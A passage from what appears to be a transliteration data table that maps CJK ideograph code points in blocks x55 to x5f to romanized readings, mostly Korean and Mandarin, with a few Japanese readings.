'Mie ','Yu ','Mang ','Hul ','Kak ','Hyen ','Yo ','Zi ','Hap ','Kil ','Cek ','Chon ','Tong ','Myeng ','Hwu ','Li ',
'Tho ','Hyang ','Tha ','Xia ','Ye ','Lye ','A ','Ma ','Wu ','Xue ','Uy ','Kwun ','Chou ','Lin ','Than ','Um ',
'Phyey ','Phil ','Sim ','Qin ','Jie ','Bu ','Pwu ','Pha ','Twun ','Pwun ','Wa ','Ham ','Un ','Hang ','Cen ','Kyey ',
'Hong ','Ci ','Sin ','O ','O ','Myo ','Nwul ','Hyel ','Hup ','Chwi ','Twu ','Mwun ','Hwu ','Hwu ','O ','Ko ',
'Ha ','Jun ','Lye ','Ay ','Ge ','May ','May ','Qi ','Ceng ','O ','Ko ','Fu ','Kyu ','Hong ','Chek ','Sung ',
'Nwul ','Than ','Fu ','Yi ','Dai ','Ou ','Li ','Bai ','Yuan ','Kuai ','','Qiang ','Wu ','Ayk ','Shi ','Hyen ',
'Pen ','Wen ','Ni ','Bou ','Lyeng ','Ran ','Yu ','Cey ','Cwu ','Shi ','Cwu ','Chep ','Hi ','Yey ','Ki ','Ping ',
'Ca ','Ko ','Zi ','Mi ','Kwu ','Ka ','No ','Hap ','Pi ','Il ','Hyo ','Sin ','Ho ','Myeng ','Tal ','Ke ',
'Ce ','Kan ','Cap ','Tuo ','Tol ','Pou ','Pho ','Phil ','Pwul ','Ang ','Hwa ','Sa ','Hwa ','Hay ','Kwu ','Yeng ',
'Pwu ','Que ','Cwu ','Wa ','Ka ','Ko ','Ka ','Zuo ','Bu ','Long ','Dong ','Ning ','Tha ','Si ','Xian ','Huo ',
'Cip ','I ','Ak ','Guang ','Tha ','Huy ','I ','Lyel ','Ca ','Mi ','Mi ','Ci ','Kyo ','Kil ','Cwu ','Kak ',
'Shuai ','Chal ','So ','Hay ','Hui ','Kua ','Si ','To ','Ham ','E ','Hwen ','Hyu ','Kway ','In ','Lao ','I ',
'Ay ','Phwum ','Sin ','Tong ','Hong ','Hyung ','Chi ','Wa ','Hap ','Cay ','Yu ','Di ','Pai ','Sang ','Ay ','Hen ',
'Kuang ','Ya ','Da ','Xiao ','Bi ','Yue ','','Hua ','Sasou ','Kuai ','Duo ','','Ji ','Nong ','Mou ','Yo ',
'Hao ','Wen ','Long ','Pou ','Pang ','Ka ','A ','Chi ','Cho ','Li ','Na ','Cok ','Ha ','Kok ','Hyo ','Hyen ',
'Lo ','Pal ','Chel ','Chal ','Liang ','Ba ','Ma ','Lyel ','Sui ','Pwu ','Pho ','Han ','Hyeng ','Kyeng ','Shuo ','Ka ',
],
'x55':[
'Yu ','En ','Gu ','Gu ','Phay ','Ham ','Sa ','Cin ','Up ','Ay ','Kyep ','Tu ','Yen ','Wan ','Li ','Huy ',
'Tang ','Zuo ','Qiu ','Che ','O ','Co ','A ','Dou ','Qi ','Di ','Chim ','Ma ','Mal ','Hong ','Dou ','Kes ',
'Lao ','Liang ','Suo ','Zao ','Hwan ','Laang ','Sha ','Ji ','Zuo ','Wo ','Pong ','Kum ','Ho ','Ki ','Swu ','Yu ',
'Shua ','Chang ','A ','Lye ','Kang ','An ','Cha ','Yuk ','Cem ','E ','Tian ','Lai ','Sap ','Xi ','Tha ','Hol ',
'Ay ','Co ','Nyo ','Sap ','Thak ','Thak ','Sang ','Cek ','Heng ','Lam ','A ','Kyo ','Xiang ','Thon ','O ','Mwun ',
'Chway ','Cap ','Hu ','Kyey ','Qi ','To ','Tam ','Tam ','Ye ','Ca ','Pi ','Cui ','Chel ','Wa ','A ','Kyey ',
'Zhe ','Pay ','Liang ','Ham ','Pi ','Sha ','La ','Ze ','Qing ','Gua ','Pa ','Zhe ','Se ','Zhuan ','Nie ','Guo ',
'Luo ','Yan ','Di ','Quan ','Tan ','Bo ','Ding ','Lang ','Xiao ','Geoi ','Tang ','Si ','Cey ','Am ','Chwu ','Tam ',
'Kayk ','Ong ','Wei ','Nam ','Sen ','Yuk ','Chel ','Lal ','Kay ','Hwu ','Ham ','Chep ','Cwu ','Cay ','Wai ','Ya ',
'Yu ','Um ','Cam ','Yo ','Ak ','Mian ','Hu ','Wun ','Chen ','Hwey ','Hwan ','Hwan ','Huy ','Kal ','Cul ','Wi ',
'Cong ','Wei ','Sha ','Hwu ','Hwang ','Du ','Yep ','Hwen ','Lyang ','Yu ','Sang ','Kkik ','Kyo ','An ','Tan ','Pen ',
'Sik ','Li ','Yak ','Sa ','Wei ','Miao ','Yeng ','Pen ','Phos ','Kui ','Xi ','Yu ','Jie ','Lou ','Ku ','So ',
'Hak ','Cey ','Yo ','Hyo ','Sa ','Hwu ','Chang ','Sayk ','Ong ','So ','Hong ','Hyep ','I ','Suo ','Ma ','Cha ',
'Hal ','Hap ','Thap ','Sang ','Cin ','Yok ','Sou ','Wa ','Ji ','Pang ','O ','Kyem ','Ki ','Kyek ','Ca ','Cha ',
'La ','Ong ','Ol ','Sa ','Chi ','Hao ','Suo ','Lyun ','Hai ','Sway ','Qin ','Nie ','He ','Cis ','Sai ','Ng ',
'Ge ','Na ','Dia ','Ai ','','Tong ','Phil ','O ','O ','Lyen ','Choy ','Cha ','Mak ','Swu ','Cwu ','Tham ',
],
'x56':[
'Di ','Chuk ','Kyo ','Chong ','Kyo ','Kay ','Than ','Sam ','Co ','Ka ','Ay ','Xiao ','Phyo ','Lwu ','Al ','Ha ',
'Kyo ','Ho ','Hyey ','Koyk ','Kwu ','En ','Chayk ','Sang ','He ','Po ','De ','Ma ','Ma ','Hu ','Luk ','To ',
'Al ','Tang ','Ye ','Beng ','Ying ','Saai ','Jiao ','Mi ','So ','Hwa ','Mai ','Yen ','Choy ','Peng ','Cho ','So ',
'Ki ','Chok ','Co ','Koy ','Chwi ','Hyo ','Si ','Ho ','Mwu ','Lyo ','Kyo ','Huy ','Hyu ','Than ','Tam ','Mwuk ',
'Son ','O ','Cwun ','Pen ','Chi ','Wi ','Cham ','Tam ','Chwuk ','Tam ','Yul ','Thon ','Cayng ','Cho ','Yel ','Hup ',
'Ki ','Hao ','Lian ','He ','Deng ','Wi ','Yin ','Pu ','Jue ','Qin ','Xun ','Nie ','Lu ','Si ','Em ','Ying ',
'Tal ','Dan ','Wuk ','Cwu ','Kum ','Nong ','El ','Hway ','Ki ','Ak ','Co ','Huy ','Se ','Kyo ','Yen ','Ay ',
'Ong ','Kyak ','Khway ','Wu ','Pwun ','Dao ','Kal ','Xin ','Thon ','Dang ','Sin ','Sai ','Pi ','Pi ','Yin ','Zui ',
'Nyeng ','Di ','Lam ','Thap ','Hoyk ','Yu ','Hyo ','Ha ','Ya ','Duo ','Pi ','Chou ','Cey ','Cin ','Ho ','Chey ',
'Chang ','','','Ca ','Chey ','Lo ','Hui ','Pak ','Wu ','Kyo ','Un ','Hak ','Mwuk ','Huang ','Zhe ','Li ',
'Lyu ','Haai ','Nang ','Xiao ','Mo ','Yen ','Lyek ','Lo ','Long ','Fu ','Tam ','Chin ','Pin ','Pi ','Hyang ','Huo ',
'Mo ','Huy ','Tha ','Ko ','Em ','Chan ','Ayng ','Yang ','Dian ','La ','Ta ','Hyo ','Cak ','Chuo ','Hwan ','Huo ',
'Cen ','Sep ','Hyo ','Cap ','Li ','Chen ','Chay ','Li ','Yey ','La ','Nang ','Chal ','Su ','Huy ','So ','Kan ',
'Cal ','Chok ','Lan ','Sel ','Nang ','Trom ','Lo ','Kwuk ','Hui ','In ','Swu ','Sa ','Nin ','Ken ','Hoy ','Sin ',
'In ','Nan ','Tuan ','Tan ','Ton ','Kang ','Yen ','Kyeng ','Pian ','Wun ','Chang ','Hol ','Hoy ','Wan ','Wa ','Guo ',
'Kon ','Chong ','Wi ','To ','Wei ','Lun ','Kwuk ','Kyun ','Ri ','Lyeng ','Ko ','Guo ','Tai ','Kwuk ','Tu ','Yu ',
],
'x57':[
'Kwuk ','Un ','Hon ','Pho ','E ','Ham ','Yuan ','Lyun ','Kwen ','E ','Cheng ','Kwuk ','Chen ','Wi ','Wen ','Kwen ',
'Ku ','Fu ','Wen ','Wen ','E ','Toshokan ','To ','To ','Tan ','Lue ','Hui ','Yek ','Wen ','Lan ','Luan ','Tho ',
'Ya ','Tu ','Ting ','Sheng ','Pu ','Lok ','Iri ','Ap ','Cay ','Wei ','Ge ','Yu ','O ','Kyu ','Pi ','Yi ',
'Ci ','Qian ','Qian ','Zhen ','Zhuo ','Dang ','Qia ','Akutsu ','Yama ','Kuang ','Chang ','Ki ','Nie ','Mo ','Kup ','Jia ',
'Ci ','Zhi ','Phan ','Xun ','Tou ','Qin ','Fen ','Kyun ','Keng ','Tun ','Pang ','Fen ','Pwun ','Tam ','Kam ','Pay ',
'Cwa ','Kayng ','Bi ','Xing ','Di ','Jing ','Ji ','Kuai ','Di ','Jing ','Jian ','Tan ','Li ','Ba ','Wu ','Fen ',
'Zhui ','Pha ','Pan ','Tang ','Kon ','Qu ','Than ','Chek ','I ','Kam ','Phyeng ','Cem ','Gua ','Ni ','Tay ','Pay ',
'Kyeng ','Ang ','Fo ','Yo ','Liu ','Kwu ','Mu ','Ka ','Kwu ','Xue ','Ba ','Ci ','Thak ','Ling ','Zhu ','Fu ',
'Hu ','Zhi ','Swu ','La ','Long ','Long ','Lu ','Ao ','Tay ','Pao ','','Hyeng ','Tong ','Ji ','Ke ','Lu ',
'Ci ','Chi ','Lei ','Hay ','Yin ','Hwu ','Dui ','Zhao ','Fu ','Guang ','Yao ','Duo ','Duo ','Gui ','Tha ','Yang ',
'Un ','Fa ','Kwu ','Wen ','Cil ','Xie ','Ken ','Jiong ','Shou ','Seng ','Ha ','Dian ','Hong ','Wu ','Kua ','',
'Tao ','Dang ','Kai ','Gake ','Nao ','An ','Xing ','Xian ','Wan ','Bang ','Pei ','Ba ','Yi ','Un ','Han ','Xu ',
'Chui ','Cen ','Geng ','Ay ','Peng ','Fang ','Kak ','Yong ','Cwun ','Hyep ','Di ','May ','Lang ','Xuan ','Seng ','Yen ',
'Jin ','Chel ','Lal ','Lie ','Pu ','Cheng ','Gomi ','Bu ','Shi ','Xun ','Guo ','Jiong ','Ya ','Nian ','Di ','Yek ',
'Pwu ','Ya ','Juan ','Sui ','Pi ','Cheng ','Wan ','Ju ','Lun ','Zheng ','Kong ','Chong ','Dong ','Thay ','Tan ','An ',
'Chay ','Shu ','Beng ','Kam ','Sik ','Duo ','Yi ','Cip ','Yi ','Pay ','Ki ','Cwun ','Ki ','So ','Ju ','Ni ',
],
'x58':[
'Kwul ','Ke ','Tang ','Kon ','Ni ','Kyen ','Thoy ','Kun ','Kang ','Yuk ','Ak ','Pwul ','Gu ','Tu ','Leng ','',
'Ya ','Qian ','','An ','','Tha ','Nao ','Tol ','Cheng ','In ','Hun ','Bi ','Lian ','Kwa ','Chep ','Zhuan ',
'Hwu ','Po ','Bao ','Yu ','Cey ','Mao ','Kyey ','Yen ','E ','Geng ','Kam ','Zong ','Yu ','Huang ','E ','Yo ',
'En ','Po ','Ji ','Mei ','Cang ','To ','Tuo ','Yin ','Feng ','Zhong ','Kyey ','Zhen ','Feng ','Gang ','Chuan ','Jian ',
'Pyeng ','Rui ','Xiang ','Huang ','Leng ','Duan ','','Xuan ','Ji ','Chek ','Koy ','Yeng ','Thap ','Sup ','Yong ','Kay ',
'So ','So ','Si ','Mi ','Thap ','Weng ','Cheng ','To ','Tang ','Ko ','Chong ','Li ','Pong ','Bang ','Say ','Zang ',
'Dui ','Cen ','O ','Cheng ','Hwun ','Ge ','Zhen ','Ai ','Gong ','Yem ','Kan ','Cen ','Yuan ','Wen ','Xie ','Liu ',
'Ama ','Lang ','Chang ','Peng ','Beng ','Cin ','Cu ','Lu ','Ou ','Cham ','Mei ','Mo ','Cen ','Sang ','Swuk ','Lou ',
'Ci ','Man ','Biao ','Kyeng ','Qi ','Se ','Di ','Zhang ','Kan ','Yong ','Cem ','Chen ','Zhi ','Ki ','Guo ','Qiang ',
'Kun ','Di ','Shang ','Myo ','Cui ','Yan ','Ta ','Cung ','Qi ','Qiang ','Liang ','','Chwu ','Yo ','Cung ','He ',
'Shan ','Sen ','Ba ','Pok ','Kuai ','Dong ','Fan ','Que ','Mwuk ','Ton ','Dun ','Cwun ','Di ','Sheng ','Tha ','Duo ',
'Tam ','Tung ','Wu ','Pwun ','Huang ','Tan ','Da ','Ye ','Sho ','Mama ','O ','Cang ','Ji ','Qiao ','Kan ','Yi ',
'Pi ','Pyek ','Dian ','Kang ','Ye ','Ong ','Bo ','Tan ','Lan ','Ju ','Huai ','Dang ','Yang ','Qian ','Hwun ','Lan ',
'Xi ','Hak ','Ai ','Ap ','To ','Ho ','Ruan ','Mama ','Lwu ','Kwang ','Lo ','Yan ','Tam ','Yu ','Koy ','Long ',
'Long ','Rui ','Li ','Lin ','Yang ','Ten ','Xun ','Yan ','Lei ','Pha ','','Sa ','Im ','','Cang ','Cang ',
'Seng ','Il ','May ','Ke ','Zhu ','Zhuang ','Hu ','Hu ','Kun ','Il ','Ho ','Se ','Ho ','Swu ','Mang ','Zun ',
],
'x59':[
'Shou ','Yi ','Zhi ','Gu ','Chu ','Jiang ','Pong ','Bei ','Cay ','Pyen ','Sui ','Qun ','Ling ','Fu ','Zuo ','Ha ',
'Hyeng ','','Nao ','Xia ','Ki ','Sek ','Oy ','Yuan ','Mao ','Swuk ','Ta ','Duo ','Ya ','Qing ','Uys ','Gou ',
'Gou ','Qi ','Mong ','Meng ','In ','Kwa ','Chen ','Tay ','Ze ','Chen ','Thay ','Pwu ','Khway ','Yo ','Ang ','Hang ',
'Gao ','Sil ','Ben ','Tai ','Tou ','Yan ','Bi ','I ','Kwa ','Jia ','Duo ','Kwu ','Kuang ','Yun ','Hyep ','Pa ',
'En ','Lian ','Huan ','Di ','Em ','Pao ','Quan ','Ki ','Nay ','Pong ','Xie ','Fen ','Cem ','','Kyu ','Cwu ',
'Hwan ','Kyey ','Kai ','Cha ','Pwun ','Hyek ','Jiang ','Thwu ','Cang ','Ben ','Hay ','Xiang ','Fei ','Diao ','Xun ','Keng ',
'Cen ','Ao ','Sa ','Weng ','Pan ','O ','Wu ','O ','Cang ','Lyem ','Thal ','Yun ','Cang ','Sek ','Pwun ','Huo ',
'Bi ','Lian ','Duo ','Nye ','No ','Ding ','Nay ','Qian ','Kan ','Ta ','Jiu ','Nan ','Cha ','Ho ','Xian ','Fan ',
'Ji ','Cak ','Ye ','Pi ','Mang ','Hong ','Zhuang ','Fu ','Ma ','Dan ','Im ','Fu ','Jing ','Yen ','Xie ','Wen ',
'Zhong ','Pha ','Thwu ','Ki ','Keng ','Zhong ','Yo ','Kum ','Yun ','Myo ','Pei ','Shi ','Yue ','Cang ','Niu ','Yan ',
'Na ','Xin ','Fen ','Pi ','Yu ','Tha ','Feng ','Wan ','Pang ','Wu ','Yu ','Gui ','Thwu ','Ba ','Ni ','Chwuk ',
'Zhuo ','Zhao ','Tal ','Nai ','Yuan ','Tou ','Xuan ','Zhi ','E ','May ','Mo ','Che ','Bi ','Shen ','Chep ','E ',
'He ','Xu ','Fa ','Ceng ','Min ','Ban ','Mo ','Fu ','Lyeng ','Ca ','Zi ','Si ','Ran ','San ','Yang ','Man ',
'Ce ','Ko ','Sa ','Seng ','Wi ','Zi ','Ju ','San ','Pin ','Im ','Yo ','Tong ','Kang ','Cwu ','Kil ','Gai ',
'Shang ','Kuo ','Yen ','Kyo ','Kwu ','Mo ','Kan ','Jian ','I ','Nian ','Cil ','Huy ','Huy ','Xian ','Hang ','Guang ',
'Jun ','Kua ','Yan ','Ming ','Lie ','Pei ','Yan ','You ','Yen ','Cha ','Sin ','In ','Chi ','Gui ','Quan ','Ca ',
],
'x5a':[
'Song ','Wi ','Hong ','Way ','Lou ','Ya ','Rao ','Jiao ','Luan ','Ping ','Xian ','Shao ','Li ','Cheng ','Xiao ','Mang ',
'','Sa ','Wu ','Mi ','Ke ','Lai ','Chuo ','Ding ','Nang ','Hyeng ','Nan ','O ','Na ','Pei ','Nei ','Yen ',
'Sin ','Zhi ','Han ','Cey ','Zhuang ','A ','Pin ','Thay ','Han ','Man ','Wu ','Yan ','Wu ','Ay ','Yan ','O ',
'Si ','Yu ','Wa ','','Xian ','Chwu ','Chwi ','Shui ','Qi ','Xian ','Zhui ','Dong ','Chang ','Lu ','Ai ','A ',
'A ','Lwu ','Mian ','Cong ','Pou ','Ju ','Pha ','Cai ','Ding ','Wan ','Biao ','Xiao ','Swuk ','Qi ','Hui ','Fu ',
'Wa ','Wo ','Tan ','Fei ','','Jie ','Tian ','Ni ','Quan ','Jing ','Hon ','Jing ','Qian ','Dian ','Xing ','Hu ',
'Wa ','Lai ','Pi ','In ','Zhou ','Chuo ','Pwu ','Ceng ','Lun ','Yan ','Lam ','Kun ','Um ','Ya ','','Li ',
'Dian ','Xian ','Hwa ','Hua ','Ying ','Chan ','Shen ','Ceng ','Dang ','Yao ','Wu ','Nan ','Ruo ','Jia ','Tou ','Se ',
'Yu ','Wei ','Ti ','Rou ','Mi ','Dan ','Ruan ','Qin ','','Wu ','Qian ','Chun ','Mao ','Pwu ','Jie ','Duan ',
'Xi ','Zhong ','May ','Hwang ','Mian ','Am ','Ying ','Xuan ','','Wei ','Mi ','Wen ','Zhen ','Qiu ','Ti ','Sel ',
'Tuo ','Lian ','Mo ','Ran ','Si ','Pian ','Wei ','Way ','Jiu ','Hu ','O ','','Ho ','Xu ','Tou ','Gui ',
'Zou ','Yao ','Pi ','Sik ','Yuan ','Ing ','Rong ','Ru ','Chi ','Liu ','Mi ','Pan ','On ','Ma ','Kwu ','Koy ',
'Qin ','Ka ','Swu ','Zhen ','Wen ','Cha ','Yong ','Ming ','Ayng ','Cil ','Su ','Nyo ','Hyem ','Tao ','Pang ','Lang ',
'Nao ','Bao ','Ai ','Pi ','Pin ','Yi ','Phyo ','Kwu ','Lei ','Sen ','Man ','Yey ','Zhang ','Kang ','Yong ','Ni ',
'Li ','Cek ','Kyu ','En ','Jin ','Cen ','Hang ','Ce ','Han ','Nwun ','Lao ','Mo ','Zhe ','Ho ','Ho ','O ',
'Nen ','Qiang ','Maa ','Pie ','Gu ','Wu ','Cho ','Tuo ','Zhan ','Mao ','Han ','Han ','Mo ','Lyo ','Lian ','Hua ',
],
'x5b':[
'Kyu ','Deng ','Zhi ','Xu ','','Hwa ','Xi ','Hui ','Yo ','Huy ','Yan ','Sen ','Kyo ','Mei ','Fan ','Fan ',
'Xian ','Yi ','Wei ','Jiao ','Fu ','Shi ','Phyey ','Shan ','Sui ','Cang ','Lian ','Hyen ','','Niao ','Dong ','Yi ',
'Can ','Ai ','Yang ','Neng ','Ma ','Co ','Chou ','Jin ','Ca ','Yu ','Pin ','','Xu ','Nay ','Yan ','Tai ',
'Yeng ','Can ','Nyo ','','Yeng ','Mian ','Kaka ','Ma ','Shen ','Xing ','Ni ','Du ','Liu ','Yuan ','Lan ','Yen ',
'Sang ','Ling ','Jiao ','Yang ','Lan ','Sem ','Ying ','Shuang ','Shuai ','Quan ','Mi ','Li ','Lyen ','Yan ','Zhu ','Lan ',
'Ca ','Hyel ','Jue ','Jue ','Kong ','Ing ','Ca ','Ca ','Con ','Sun ','Pwu ','Phay ','Ca ','Hyo ','Xin ','Mayng ',
'Si ','Thay ','Bao ','Kyey ','Ko ','No ','Hak ','','Zhuan ','Hay ','Luan ','Son ','Huai ','Mie ','Cong ','Qian ',
'Swuk ','Can ','Ya ','Ca ','Ni ','Pwu ','Ca ','Li ','Hak ','Bo ','Yu ','Lai ','El ','El ','Ying ','San ',
'Mian ','Ce ','Yong ','Ta ','Gui ','Tayk ','Qiong ','Wu ','Swu ','An ','Ka ','Song ','Wan ','Rou ','Yao ','Koyng ',
'Yi ','Jing ','Zhun ','Pok ','Zhu ','Thang ','Hoyng ','Cong ','Kwan ','Cwu ','Ceng ','Wan ','Uy ','Po ','Shi ','Sil ',
'Chong ','Shen ','Kayk ','Sen ','Sil ','Yu ','Hwan ','Yi ','Tiao ','Shi ','Xian ','Kwung ','Seng ','Qun ','Kwung ','Xiao ',
'Cay ','Zha ','Bao ','Hay ','Yen ','So ','Ka ','Shen ','Sin ','Yong ','Huang ','Mil ','Kou ','Kuan ','Bin ','Swuk ',
'Chay ','Zan ','Cek ','Wen ','Ki ','In ','Mil ','Kwu ','Qing ','Que ','Zhen ','Jian ','Pwu ','Ning ','Bing ','Huan ',
'May ','Qin ','Han ','Wu ','Sik ','Nyeng ','Chim ','Nyeng ','Chi ','Yu ','Bao ','Kwan ','Nyeng ','Chim ','Mak ','Chal ',
'Ju ','Kwa ','Chim ','Hu ','O ','Lyo ','Sil ','Nyeng ','Chay ','Sim ','Wei ','Sa ','Kwan ','Hyey ','Lyo ','Cwun ',
'Hwan ','Yi ','Yi ','Po ','Qin ','Chong ','Po ','Feng ','Chon ','Tay ','Sa ','Xun ','Dao ','Lu ','Tay ','Swu ',
],
'x5c':[
'Po ','Pong ','Cen ','Fu ','Sa ','Kuk ','Cang ','Cang ','Cen ','Wi ','Con ','Sim ','Cwu ','Tay ','To ','So ',
'Ji ','So ','Er ','I ','I ','Ga ','Chem ','Shu ','Chen ','Sang ','Sang ','','Ga ','Chang ','Liao ','Sen ',
'Sen ','','Wang ','Wang ','Wu ','Liao ','Liao ','Yao ','Pang ','Wang ','Wang ','Wang ','Ga ','Yo ','Duo ','Kui ',
'Zhong ','Chwi ','Gan ','Gu ','Gan ','Tui ','Gan ','Gan ','Si ','Yun ','Chek ','Ko ','Ni ','Cin ','Mi ','Nyo ',
'Kwuk ','Pi ','Ceng ','Xi ','Bi ','Ke ','Kyey ','Cen ','Kwul ','Ti ','Jie ','Ok ','Diao ','Si ','Si ','Pyeng ',
'Kuk ','Sel ','Chen ','Xi ','Ni ','Cen ','Xi ','','Man ','E ','Lou ','Pyeng ','Ti ','Fei ','Chok ','Xie ',
'To ','Lu ','Lwu ','Xi ','Chung ','Li ','Ju ','Xie ','Kwu ','Jue ','Liao ','Jue ','Sok ','Xi ','Che ','Twun ',
'Ni ','San ','','Sen ','Li ','Xue ','Nata ','','Long ','Hul ','Ki ','Ren ','Wu ','Han ','Shen ','Yu ',
'Chwul ','Sui ','Qi ','','Yue ','Ban ','Yao ','Ang ','Ha ','Wu ','Cel ','E ','Kup ','Qian ','Fen ','Wan ',
'Ki ','Cam ','Kyem ','Qi ','Cha ','Jie ','Qu ','Gang ','Xian ','Ao ','Lan ','Dao ','Ba ','Cak ','Zuo ','Yang ',
'Ju ','Kang ','Ke ','Kwu ','Xue ','Pha ','Lip ','Cho ','Ce ','Am ','Pwul ','Swu ','Kap ','Lyeng ','Tuo ','Pei ',
'You ','Tay ','Kuang ','Ak ','Qu ','Ho ','Po ','Min ','An ','Tiao ','Lyeng ','Chi ','Yuri ','Dong ','Cem ','Kui ',
'Swu ','Mao ','Tong ','Xue ','Yi ','Kura ','He ','Ke ','Luo ','E ','Fu ','Swun ','Die ','Lu ','An ','Er ',
'Gai ','Quan ','Tong ','Yi ','Mu ','Shi ','An ','Wei ','Hu ','Chi ','Mi ','Li ','Ji ','Tong ','Wei ','You ',
'Sang ','Xia ','Li ','Yo ','Jiao ','Zheng ','Luan ','Jiao ','A ','A ','Yu ','Ye ','Bu ','Cho ','Qun ','Pong ',
'Pong ','No ','Li ','You ','Hyen ','Hong ','To ','Shen ','Cheng ','Tu ','Geng ','Cwun ','Hao ','Hyep ','Yin ','Yu ',
],
'x5d':[
'Lang ','Kan ','Lao ','Lai ','Hem ','Que ','Kong ','Swung ','Chong ','Ta ','','Hua ','Ju ','Lay ','Ki ','Min ',
'Kon ','Kon ','Zu ','Gu ','Choy ','Ay ','Ay ','Kang ','Lun ','Lyun ','Leng ','Kwul ','Duo ','Zheng ','Guo ','Um ',
'Dong ','Han ','Cayng ','Wei ','Hyo ','Pi ','Em ','Swung ','Jie ','Pwung ','Zu ','Jue ','Dong ','Zhan ','Gu ','Yin ',
'','Ze ','Huang ','Yu ','Oy ','Yang ','Feng ','Qiu ','Dun ','Ti ','Yi ','Zhi ','Shi ','Cay ','Yao ','E ',
'Zhu ','Kam ','Lyul ','Yan ','Mei ','Gan ','Ji ','Ji ','Huan ','Ting ','Sheng ','Mi ','Kam ','Wu ','Yu ','Zong ',
'Lam ','Jue ','Am ','Am ','Oy ','Zong ','Cha ','Sui ','Rong ','Yamashina ','Kum ','Yu ','Ki ','Lou ','Tu ','Dui ',
'Xi ','Weng ','Cang ','Dang ','Hong ','Jie ','Ai ','Liu ','Wu ','Swung ','Qiao ','Zi ','Oy ','Beng ','Dian ','Cha ',
'Qian ','Yong ','Nie ','Cuo ','Ji ','','Tao ','Song ','Zong ','Jiang ','Liao ','','Chan ','Die ','Cen ','Ding ',
'Tu ','Lwu ','Cang ','Zhan ','Cham ','Ao ','Cao ','Kwu ','Qiang ','Zui ','Zui ','To ','Dao ','Xi ','Yu ','Bo ',
'Long ','Xiang ','Cung ','Bo ','Kum ','Cho ','Yan ','Lao ','Zhan ','Lin ','Liao ','Liao ','Jin ','Tung ','Duo ','Zun ',
'Kyo ','Gui ','Yo ','Qiao ','Yao ','Jue ','Zhan ','Yek ','Xue ','Nao ','Ep ','Ep ','Yi ','E ','Hem ','Ji ',
'Hay ','Ke ','Xi ','Di ','Ao ','Zui ','','Uy ','Yeng ','Dao ','Lyeng ','Za ','Se ','Ak ','Yin ','',
'Jie ','Li ','Sui ','Long ','Long ','Dian ','Ying ','Xi ','Ju ','Cham ','Ying ','Kyu ','Yan ','Oy ','Nao ','Quan ',
'Chao ','Chan ','Man ','Cen ','Cen ','','Am ','Yan ','Yan ','Nao ','Hen ','Chuan ','Gui ','Chen ','Cwu ','Huang ',
'Jing ','Swun ','So ','Chao ','Lie ','Kong ','Cwa ','Kyo ','Ke ','Gong ','Kek ','Mwu ','Pwu ','Pwu ','Cha ','Qiu ',
'Qiu ','Ki ','I ','Sa ','Pha ','Chi ','Zhao ','Hang ','Yi ','Kun ','Son ','Kwen ','Phas ','Son ','Ken ','Fu ',
],
'x5e':[
'Za ','Bi ','Si ','Pho ','Ding ','Shuai ','Pem ','Nie ','Shi ','Pwun ','Pa ','Zhi ','Huy ','Hu ','Dan ','Wei ',
'Zhang ','Thang ','Dai ','Ma ','Pei ','Mal ','Chep ','Fu ','Lyem ','Cil ','Chwu ','Payk ','Zhi ','Cey ','Mo ','Yi ',
'Yi ','Ping ','Qia ','Juan ','Ru ','Sol ','Tay ','Zheng ','Sey ','Qiao ','Zhen ','Sa ','Qun ','Sek ','Bang ','Tay ',
'Kwi ','Chou ','Ping ','Cang ','Sha ','Wan ','Tay ','Yu ','Sang ','Sha ','Qi ','Ze ','Guo ','Mo ','Du ','Hwu ',
'Ceng ','Xu ','Mi ','Wi ','Ak ','Phok ','Yi ','Pang ','Ping ','Tazuna ','Gong ','Pan ','Hwang ','Dao ','Myek ','Jia ',
'Teng ','Hui ','Zhong ','Shan ','Man ','Mak ','Biao ','Guo ','Chayk ','Mu ','Pang ','Zhang ','Jiong ','Chan ','Pok ','Chi ',
'Hu ','Pen ','Tang ','Phyey ','Hei ','','Mi ','Qiao ','Chem ','Fen ','Mong ','Pang ','Cwu ','Mie ','Chu ','Jie ',
'Hen ','Lan ','Kan ','Phyeng ','Nyen ','Qian ','Pyeng ','Pyeng ','Hayng ','Kan ','Yo ','Hwan ','Yu ','Yu ','Ki ','Em ',
'Pi ','Cheng ','Ze ','Kwang ','Cang ','Mo ','Qing ','Pi ','Qin ','Dun ','Sang ','Ki ','Ya ','Bai ','Jie ','Se ',
'Lu ','Wu ','','Ku ','Ying ','Ce ','Pho ','Cem ','Ya ','Miao ','Kyeng ','Ci ','Pwu ','Tong ','Pang ','Fei ',
'Sang ','Yi ','Zhi ','Tiao ','Zhi ','Xiu ','To ','Cwa ','Xiao ','Tu ','Gui ','Ko ','Pang ','Ceng ','You ','Bu ',
'Ding ','Cheng ','Lai ','Pi ','Ji ','Am ','Se ','Kang ','Yong ','Tuo ','Song ','Se ','Qing ','Yu ','Yu ','Miao ',
'Sou ','Chi ','Sang ','Phyey ','Kwu ','He ','Hui ','Liu ','Ha ','Lyem ','Lang ','Swu ','Zhi ','Pou ','Qing ','Kwu ',
'Kwu ','Kun ','Ao ','Kwak ','Lou ','Um ','Lyo ','Dai ','Lu ','Yi ','Cwu ','Cen ','Tu ','Si ','Hum ','Myo ',
'Chang ','Mwu ','Phyey ','Kwang ','Koc ','Koy ','Bi ','Cang ','Hay ','Lum ','Lin ','Liao ','Lye ','','Ying ','Xian ',
'Ting ','Ong ','Li ','Cheng ','Yin ','Xun ','Yen ','Ceng ','Di ','Po ','Ken ','Hoy ','Nay ','Hoy ','Gong ','Ip ',
],
'x5f':[
'Kai ','Pyen ','Yi ','Ki ','Long ','Fen ','Ju ','Kam ','Hyek ','Zang ','Phyey ','Ik ','Yi ','I ','San ','Sik ',
'Er ','Si ','Si ','Kwung ','Co ','In ','Hu ','Pwul ','Hong ','Wu ','Tui ','I ','Jiang ','Ba ','Shen ','Cey ',
'Zhang ','Jue ','To ','Fu ','Di ','Mi ','Hyen ','Ho ','Chao ','No ','Jing ','Zhen ','Yi ','Mi ','Quan ','Wan ',
'Shao ','Yak ','Xuan ','Jing ','Ton ','Cang ','Jiang ','Kang ','Peng ','Than ','Kang ','Bi ','Phil ','She ','Than ','Jian ',
'Kwu ','Sei ','Pal ','Bi ','Kou ','Nagi ','Pyel ','Xiao ','Than ','Kuo ','Kang ','Hong ','Mi ','Kuo ','Man ','Jue ',
'Ji ','Ji ','Gui ','Tang ','Lok ','Lu ','Tan ','Hyey ','Chey ','Hwi ','Hwi ','I ','Yi ','I ','I ','Huo ',
